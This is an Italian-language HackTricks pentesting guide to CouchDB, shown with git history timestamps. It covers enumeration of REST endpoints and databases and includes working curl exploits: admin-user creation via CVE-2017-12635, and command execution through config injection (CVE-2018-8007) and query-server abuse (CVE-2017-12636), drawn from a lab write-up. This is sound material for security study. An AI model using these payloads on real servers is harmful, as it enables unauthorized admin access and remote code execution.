hacktricks/network-services-pentesting/5984-pentesting-couchdb.md

248 lines
19 KiB
Markdown
Raw Normal View History

2022-05-01 13:25:53 +00:00
# 5984,6984 - Pentesting CouchDB
2022-04-28 16:01:33 +00:00
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
2022-04-28 16:01:33 +00:00
<details>
2022-04-28 16:01:33 +00:00
<summary>Support HackTricks</summary>
2022-04-28 16:01:33 +00:00
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
2022-04-28 16:01:33 +00:00
</details>
{% endhint %}
2022-04-28 16:01:33 +00:00
2024-02-10 13:03:23 +00:00
## **Informazioni di base**
**CouchDB** è un **database orientato ai documenti** versatile e potente che organizza i dati utilizzando una struttura a **mappa chiave-valore** all'interno di ogni **documento**. I campi all'interno del documento possono essere rappresentati come **coppie chiave/valore, liste o mappe**, fornendo flessibilità nello stoccaggio e nel recupero dei dati.
Ogni **documento** memorizzato in CouchDB è assegnato a un **identificatore unico** (`_id`) a livello di documento. Inoltre, ogni modifica apportata e salvata nel database è assegnata a un **numero di revisione** (`_rev`). Questo numero di revisione consente un'efficiente **tracciamento e gestione delle modifiche**, facilitando il recupero e la sincronizzazione dei dati all'interno del database.
**Porta predefinita:** 5984(http), 6984(https)
2022-05-01 13:25:53 +00:00
```
PORT STATE SERVICE REASON
5984/tcp open unknown syn-ack
```
2024-02-10 13:03:23 +00:00
## **Enumerazione Automatica**
```bash
nmap -sV --script couchdb-databases,couchdb-stats -p <PORT> <IP>
msf> use auxiliary/scanner/couchdb/couchdb_enum
```
## Enumerazione Manuale
2024-02-10 13:03:23 +00:00
### Banner
2024-02-10 13:03:23 +00:00
```
curl http://IP:5984/
```
Questo emette una richiesta GET all'istanza CouchDB installata. La risposta dovrebbe apparire simile a una delle seguenti:
```bash
{"couchdb":"Welcome","version":"0.10.1"}
2020-07-16 17:00:59 +00:00
{"couchdb":"Welcome","version":"2.0.0","vendor":{"name":"The Apache Software Foundation"}}
```
2020-07-16 19:40:43 +00:00
{% hint style="info" %}
Nota che se accedendo alla radice di couchdb ricevi un `401 Unauthorized` con qualcosa del genere: `{"error":"unauthorized","reason":"Authentication required."}` **non sarai in grado di accedere** al banner o a qualsiasi altro endpoint.
2020-07-16 19:40:43 +00:00
{% endhint %}
### Info Enumeration
2020-07-16 19:27:28 +00:00
Questi sono gli endpoint a cui puoi accedere con una **GET** richiesta ed estrarre alcune informazioni interessanti. Puoi trovare [**ulteriori endpoint e descrizioni più dettagliate nella documentazione di couchdb**](https://docs.couchdb.org/en/latest/api/index.html).
2020-07-16 19:27:28 +00:00
* **`/_active_tasks`** Elenco dei task in esecuzione, inclusi il tipo di task, nome, stato e ID processo.
* **`/_all_dbs`** Restituisce un elenco di tutti i database nell'istanza CouchDB.
* **`/_cluster_setup`** Restituisce lo stato del nodo o del cluster, secondo la procedura guidata di configurazione del cluster.
* **`/_db_updates`** Restituisce un elenco di tutti gli eventi del database nell'istanza CouchDB. L'esistenza del database `_global_changes` è necessaria per utilizzare questo endpoint.
* **`/_membership`** Mostra i nodi che fanno parte del cluster come `cluster_nodes`. Il campo `all_nodes` mostra tutti i nodi di cui questo nodo è a conoscenza, inclusi quelli che fanno parte del cluster.
* **`/_scheduler/jobs`** Elenco dei lavori di replicazione. Ogni descrizione del lavoro includerà informazioni su sorgente e destinazione, ID replicazione, una cronologia degli eventi recenti e alcune altre informazioni.
* **`/_scheduler/docs`** Elenco degli stati dei documenti di replicazione. Include informazioni su tutti i documenti, anche in stati `completed` e `failed`. Per ogni documento restituisce l'ID del documento, il database, l'ID di replicazione, sorgente e destinazione, e altre informazioni.
2020-07-16 19:27:28 +00:00
* **`/_scheduler/docs/{replicator_db}`**
* **`/_scheduler/docs/{replicator_db}/{docid}`**
2024-02-10 13:03:23 +00:00
* **`/_node/{node-name}`** L'endpoint `/_node/{node-name}` può essere utilizzato per confermare il nome del nodo Erlang del server che elabora la richiesta. Questo è particolarmente utile quando si accede a `/_node/_local` per recuperare queste informazioni.
* **`/_node/{node-name}/_stats`** La risorsa `_stats` restituisce un oggetto JSON contenente le statistiche per il server in esecuzione. La stringa letterale `_local` funge da alias per il nome del nodo locale, quindi per tutti gli URL delle statistiche, `{node-name}` può essere sostituito con `_local`, per interagire con le statistiche del nodo locale.
* **`/_node/{node-name}/_system`** La risorsa \_system restituisce un oggetto JSON contenente varie statistiche a livello di sistema per il server in esecuzione\_.\_ Puoi usare \_\_`_local` come {node-name} per ottenere informazioni sul nodo corrente.
2020-07-16 19:27:28 +00:00
* **`/_node/{node-name}/_restart`**
2024-02-10 13:03:23 +00:00
* **`/_up`** Conferma che il server è attivo, in esecuzione e pronto a rispondere alle richieste. Se [`maintenance_mode`](https://docs.couchdb.org/en/latest/config/couchdb.html#couchdb/maintenance\_mode) è `true` o `nolb`, l'endpoint restituirà una risposta 404.
* **`/_uuids`** Richiede uno o più Identificatori Universali Unici (UUID) dall'istanza CouchDB.
* **`/_reshard`** Restituisce un conteggio dei lavori completati, falliti, in esecuzione, fermati e totali insieme allo stato di resharding sul cluster.
2020-07-16 19:27:28 +00:00
Ulteriori informazioni interessanti possono essere estratte come spiegato qui: [https://lzone.de/cheat-sheet/CouchDB](https://lzone.de/cheat-sheet/CouchDB)
### **Database List**
2022-05-01 13:25:53 +00:00
```
curl -X GET http://IP:5984/_all_dbs
```
Se quella richiesta **risponde con un 401 non autorizzato**, allora hai bisogno di alcune **credenziali valide** per accedere al database:
2022-05-01 13:25:53 +00:00
```
curl -X GET http://user:password@IP:5984/_all_dbs
```
Per trovare credenziali valide, potresti **provare a** [**forzare il servizio**](../generic-methodologies-and-resources/brute-force.md#couchdb).
Questo è un **esempio** di una **risposta** di couchdb quando hai **sufficienti privilegi** per elencare i database (È solo un elenco di db):
```bash
2020-07-16 17:00:59 +00:00
["_global_changes","_metadata","_replicator","_users","passwords","simpsons"]
```
### Database Info
Puoi ottenere alcune informazioni sul database (come il numero di file e le dimensioni) accedendo al nome del database:
2020-07-16 17:00:59 +00:00
```bash
curl http://IP:5984/<database>
curl http://localhost:5984/simpsons
#Example response:
{"db_name":"simpsons","update_seq":"7-g1AAAAFTeJzLYWBg4MhgTmEQTM4vTc5ISXLIyU9OzMnILy7JAUoxJTIkyf___z8rkQmPoiQFIJlkD1bHjE-dA0hdPFgdAz51CSB19WB1jHjU5bEASYYGIAVUOp8YtQsgavfjtx-i9gBE7X1i1D6AqAX5KwsA2vVvNQ","sizes":{"file":62767,"external":1320,"active":2466},"purge_seq":0,"other":{"data_size":1320},"doc_del_count":0,"doc_count":7,"disk_size":62767,"disk_format_version":6,"data_size":2466,"compact_running":false,"instance_start_time":"0"}
```
### **Elenco Documenti**
Elenca ogni voce all'interno di un database
```bash
2020-07-16 17:00:59 +00:00
curl -X GET http://IP:5984/{dbname}/_all_docs
curl http://localhost:5984/simpsons/_all_docs
#Example response:
{"total_rows":7,"offset":0,"rows":[
{"id":"f0042ac3dc4951b51f056467a1000dd9","key":"f0042ac3dc4951b51f056467a1000dd9","value":{"rev":"1-fbdd816a5b0db0f30cf1fc38e1a37329"}},
{"id":"f53679a526a868d44172c83a61000d86","key":"f53679a526a868d44172c83a61000d86","value":{"rev":"1-7b8ec9e1c3e29b2a826e3d14ea122f6e"}},
{"id":"f53679a526a868d44172c83a6100183d","key":"f53679a526a868d44172c83a6100183d","value":{"rev":"1-e522ebc6aca87013a89dd4b37b762bd3"}},
{"id":"f53679a526a868d44172c83a61002980","key":"f53679a526a868d44172c83a61002980","value":{"rev":"1-3bec18e3b8b2c41797ea9d61a01c7cdc"}},
{"id":"f53679a526a868d44172c83a61003068","key":"f53679a526a868d44172c83a61003068","value":{"rev":"1-3d2f7da6bd52442e4598f25cc2e84540"}},
{"id":"f53679a526a868d44172c83a61003a2a","key":"f53679a526a868d44172c83a61003a2a","value":{"rev":"1-4446bfc0826ed3d81c9115e450844fb4"}},
{"id":"f53679a526a868d44172c83a6100451b","key":"f53679a526a868d44172c83a6100451b","value":{"rev":"1-3f6141f3aba11da1d65ff0c13fe6fd39"}}
]}
```
2024-02-10 13:03:23 +00:00
### **Leggi Documento**
2024-02-10 13:03:23 +00:00
Leggi il contenuto di un documento all'interno di un database:
```bash
curl -X GET http://IP:5984/{dbname}/{id}
2020-07-16 17:00:59 +00:00
curl http://localhost:5984/simpsons/f0042ac3dc4951b51f056467a1000dd9
#Example response:
{"_id":"f0042ac3dc4951b51f056467a1000dd9","_rev":"1-fbdd816a5b0db0f30cf1fc38e1a37329","character":"Homer","quote":"Doh!"}
```
## CouchDB Privilege Escalation [CVE-2017-12635](https://cve.mitre.org/cgi-bin/cvename.cgi?name=2017-12635)
Grazie alle differenze tra i parser JSON di Erlang e JavaScript, potresti **creare un utente admin** con le credenziali `hacktricks:hacktricks` con la seguente richiesta:
2020-07-16 17:00:59 +00:00
```bash
curl -X PUT -d '{"type":"user","name":"hacktricks","roles":["_admin"],"roles":[],"password":"hacktricks"}' localhost:5984/_users/org.couchdb.user:hacktricks -H "Content-Type:application/json"
```
2024-02-10 13:03:23 +00:00
[**Ulteriori informazioni su questa vulnerabilità qui**](https://justi.cz/security/2017/11/14/couchdb-rce-npm.html).
2020-07-16 17:00:59 +00:00
2022-05-01 13:25:53 +00:00
## CouchDB RCE
2020-07-16 18:41:33 +00:00
### **Panoramica sulla Sicurezza del Cookie Erlang**
2020-07-16 18:41:33 +00:00
2024-02-10 13:03:23 +00:00
Esempio [da qui](https://0xdf.gitlab.io/2018/09/15/htb-canape.html).
2020-07-16 18:41:33 +00:00
Nella documentazione di CouchDB, specificamente nella sezione riguardante la configurazione del cluster ([link](http://docs.couchdb.org/en/stable/cluster/setup.html#cluster-setup)), si discute dell'uso delle porte da parte di CouchDB in modalità cluster. Si menziona che, come nella modalità standalone, viene utilizzata la porta `5984`. Inoltre, la porta `5986` è per le API locali del nodo e, cosa importante, Erlang richiede la porta TCP `4369` per il Daemon del Mappatore di Porte Erlang (EPMD), facilitando la comunicazione tra i nodi all'interno di un cluster Erlang. Questa configurazione forma una rete in cui ogni nodo è interconnesso con ogni altro nodo.
2020-07-16 18:41:33 +00:00
Un'importante avvertenza di sicurezza è evidenziata riguardo alla porta `4369`. Se questa porta è resa accessibile su Internet o su qualsiasi rete non affidabile, la sicurezza del sistema dipende fortemente da un identificatore unico noto come "cookie." Questo cookie funge da salvaguardia. Ad esempio, in un dato elenco di processi, potrebbe essere osservato il cookie chiamato "monster", indicando il suo ruolo operativo nel framework di sicurezza del sistema.
2022-05-01 13:25:53 +00:00
```
2020-07-16 18:41:33 +00:00
www-data@canape:/$ ps aux | grep couchdb
root 744 0.0 0.0 4240 640 ? Ss Sep13 0:00 runsv couchdb
root 811 0.0 0.0 4384 800 ? S Sep13 0:00 svlogd -tt /var/log/couchdb
homer 815 0.4 3.4 649348 34524 ? Sl Sep13 5:33 /home/homer/bin/../erts-7.3/bin/beam -K true -A 16 -Bd -- -root /home/homer/b
```
Per coloro che sono interessati a comprendere come questo "cookie" possa essere sfruttato per l'Esecuzione Remota di Codice (RCE) nel contesto dei sistemi Erlang, è disponibile una sezione dedicata per ulteriori letture. Essa dettaglia le metodologie per sfruttare i cookie Erlang in modi non autorizzati per ottenere il controllo sui sistemi. Puoi **[esplorare la guida dettagliata sull'abuso dei cookie Erlang per RCE qui](4369-pentesting-erlang-port-mapper-daemon-epmd.md#erlang-cookie-rce)**.
2020-07-16 18:41:33 +00:00
### **Sfruttare CVE-2018-8007 attraverso la Modifica di local.ini**
2020-07-16 18:41:33 +00:00
2024-02-10 13:03:23 +00:00
Esempio [da qui](https://0xdf.gitlab.io/2018/09/15/htb-canape.html).
2020-07-16 18:41:33 +00:00
Una vulnerabilità recentemente divulgata, CVE-2018-8007, che colpisce Apache CouchDB è stata esplorata, rivelando che lo sfruttamento richiede permessi di scrittura sul file `local.ini`. Sebbene non sia direttamente applicabile al sistema target iniziale a causa di restrizioni di sicurezza, sono state apportate modifiche per concedere accesso in scrittura al file `local.ini` per scopi di esplorazione. Di seguito sono forniti passaggi dettagliati e esempi di codice che dimostrano il processo.
2024-02-08 21:36:35 +00:00
Innanzitutto, l'ambiente viene preparato assicurandosi che il file `local.ini` sia scrivibile, verificato elencando i permessi:
2024-02-08 21:36:35 +00:00
```bash
2020-07-16 18:41:33 +00:00
root@canape:/home/homer/etc# ls -l
-r--r--r-- 1 homer homer 18477 Jan 20 2018 default.ini
-rw-rw-rw- 1 homer homer 4841 Sep 14 17:39 local.ini
-r--r--r-- 1 root root 4841 Sep 14 14:30 local.ini.bk
-r--r--r-- 1 homer homer 1345 Jan 14 2018 vm.args
```
Per sfruttare la vulnerabilità, viene eseguito un comando curl, mirato alla configurazione `cors/origins` in `local.ini`. Questo inietta un nuovo origin insieme a comandi aggiuntivi sotto la sezione `[os_daemons]`, con l'obiettivo di eseguire codice arbitrario:
2021-05-25 23:11:03 +00:00
```bash
2020-07-16 18:41:33 +00:00
www-data@canape:/dev/shm$ curl -X PUT 'http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/cors/origins' -H "Accept: application/json" -H "Content-Type: application/json" -d "0xdf\n\n[os_daemons]\ntestdaemon = /usr/bin/touch /tmp/0xdf"
```
2024-02-10 13:03:23 +00:00
La verifica successiva mostra la configurazione iniettata in `local.ini`, confrontandola con un backup per evidenziare le modifiche:
2024-02-08 21:36:35 +00:00
```bash
2020-07-16 18:41:33 +00:00
root@canape:/home/homer/etc# diff local.ini local.ini.bk
119,124d118
< [cors]
< origins = 0xdf
< [os_daemons]
< test_daemon = /usr/bin/touch /tmp/0xdf
```
Inizialmente, il file previsto (`/tmp/0xdf`) non esiste, indicando che il comando iniettato non è stato ancora eseguito. Ulteriori indagini rivelano che i processi relativi a CouchDB sono in esecuzione, incluso uno che potrebbe potenzialmente eseguire il comando iniettato:
2024-02-08 21:36:35 +00:00
```bash
2020-07-16 18:41:33 +00:00
root@canape:/home/homer/bin# ps aux | grep couch
```
2024-02-10 13:03:23 +00:00
Terminando il processo CouchDB identificato e consentendo al sistema di riavviarlo automaticamente, viene attivata l'esecuzione del comando iniettato, confermata dall'esistenza del file precedentemente mancante:
2024-02-08 21:36:35 +00:00
```bash
2020-07-16 18:41:33 +00:00
root@canape:/home/homer/etc# kill 711
root@canape:/home/homer/etc# ls /tmp/0xdf
/tmp/0xdf
```
Questa esplorazione conferma la fattibilità dello sfruttamento di CVE-2018-8007 in condizioni specifiche, in particolare il requisito di accesso in scrittura al file `local.ini`. Gli esempi di codice forniti e i passaggi procedurali offrono una guida chiara per replicare l'exploit in un ambiente controllato.
2020-07-16 18:41:33 +00:00
2024-02-10 13:03:23 +00:00
Per ulteriori dettagli su CVE-2018-8007, fare riferimento all'avviso di mdsec: [CVE-2018-8007](https://www.mdsec.co.uk/2018/08/advisory-cve-2018-8007-apache-couchdb-remote-code-execution/).
2020-07-16 18:41:33 +00:00
### **Esplorare CVE-2017-12636 con Permessi di Scrittura su local.ini**
2020-07-16 18:41:33 +00:00
2024-02-10 13:03:23 +00:00
Esempio [da qui](https://0xdf.gitlab.io/2018/09/15/htb-canape.html).
2020-07-16 18:41:33 +00:00
È stata esplorata una vulnerabilità nota come CVE-2017-12636, che consente l'esecuzione di codice tramite il processo CouchDB, sebbene configurazioni specifiche possano impedire il suo sfruttamento. Nonostante numerosi riferimenti a Proof of Concept (POC) disponibili online, sono necessarie modifiche per sfruttare la vulnerabilità sulla versione 2 di CouchDB, diversa dalla versione 1.x comunemente presa di mira. I passaggi iniziali prevedono la verifica della versione di CouchDB e la conferma dell'assenza del percorso dei server di query previsto:
2021-05-25 23:11:03 +00:00
```bash
2024-02-08 21:36:35 +00:00
curl http://localhost:5984
curl http://0xdf:df@localhost:5984/_config/query_servers/
2020-07-16 18:41:33 +00:00
```
2024-02-10 13:03:23 +00:00
Per adattarsi alla versione 2.0 di CouchDB, viene utilizzato un nuovo percorso:
2021-05-25 23:11:03 +00:00
```bash
2024-02-08 21:36:35 +00:00
curl 'http://0xdf:df@localhost:5984/_membership'
curl http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/query_servers
2020-07-16 18:41:33 +00:00
```
I tentativi di aggiungere e invocare un nuovo server di query sono stati accolti con errori relativi ai permessi, come indicato dal seguente output:
2021-05-25 23:11:03 +00:00
```bash
2024-02-08 21:36:35 +00:00
curl -X PUT 'http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/query_servers/cmd' -d '"/sbin/ifconfig > /tmp/df"'
2020-07-16 18:41:33 +00:00
```
Ulteriore indagine ha rivelato problemi di autorizzazione con il file `local.ini`, che non era scrivibile. Modificando i permessi del file con accesso root o homer, è stato possibile procedere:
2021-05-25 23:11:03 +00:00
```bash
2024-02-08 21:36:35 +00:00
cp /home/homer/etc/local.ini /home/homer/etc/local.ini.b
chmod 666 /home/homer/etc/local.ini
2020-07-16 18:41:33 +00:00
```
I tentativi successivi di aggiungere il server di query hanno avuto successo, come dimostrato dall'assenza di messaggi di errore nella risposta. La modifica riuscita del file `local.ini` è stata confermata attraverso il confronto dei file:
2021-05-25 23:11:03 +00:00
```bash
2024-02-08 21:36:35 +00:00
curl -X PUT 'http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/query_servers/cmd' -d '"/sbin/ifconfig > /tmp/df"'
2020-07-16 18:41:33 +00:00
```
Il processo è continuato con la creazione di un database e di un documento, seguito da un tentativo di eseguire codice tramite una mappatura di vista personalizzata al nuovo server di query aggiunto:
```bash
2024-02-08 21:36:35 +00:00
curl -X PUT 'http://0xdf:df@localhost:5984/df'
curl -X PUT 'http://0xdf:df@localhost:5984/df/zero' -d '{"_id": "HTP"}'
curl -X PUT 'http://0xdf:df@localhost:5984/df/_design/zero' -d '{"_id": "_design/zero", "views": {"anything": {"map": ""} }, "language": "cmd"}'
2020-07-16 18:41:33 +00:00
```
A **[riassunto](https://github.com/carlospolop/hacktricks/pull/116/commits/e505cc2b557610ef5cce09df6a14b10caf8f75a0)** con un payload alternativo fornisce ulteriori informazioni su come sfruttare CVE-2017-12636 in condizioni specifiche. **Risorse utili** per sfruttare questa vulnerabilità includono:
2020-07-16 18:41:33 +00:00
2024-02-10 13:03:23 +00:00
- [Codice di exploit POC](https://raw.githubusercontent.com/vulhub/vulhub/master/couchdb/CVE-2017-12636/exp.py)
- [Voce nel Database Exploit](https://www.exploit-db.com/exploits/44913/)
2021-05-25 23:11:03 +00:00
2022-05-01 13:25:53 +00:00
## Shodan
2020-10-05 10:14:02 +00:00
* `port:5984 couchdb`
2024-02-10 13:03:23 +00:00
## Riferimenti
* [https://bitvijays.github.io/LFF-IPS-P2-VulnerabilityAnalysis.html](https://bitvijays.github.io/LFF-IPS-P2-VulnerabilityAnalysis.html)
2022-05-01 13:25:53 +00:00
* [https://0xdf.gitlab.io/2018/09/15/htb-canape.html#couchdb-execution](https://0xdf.gitlab.io/2018/09/15/htb-canape.html#couchdb-execution)
2022-04-28 16:01:33 +00:00
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
2022-04-28 16:01:33 +00:00
<details>
2022-04-28 16:01:33 +00:00
<summary>Support HackTricks</summary>
2022-04-28 16:01:33 +00:00
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
2022-04-28 16:01:33 +00:00
</details>
{% endhint %}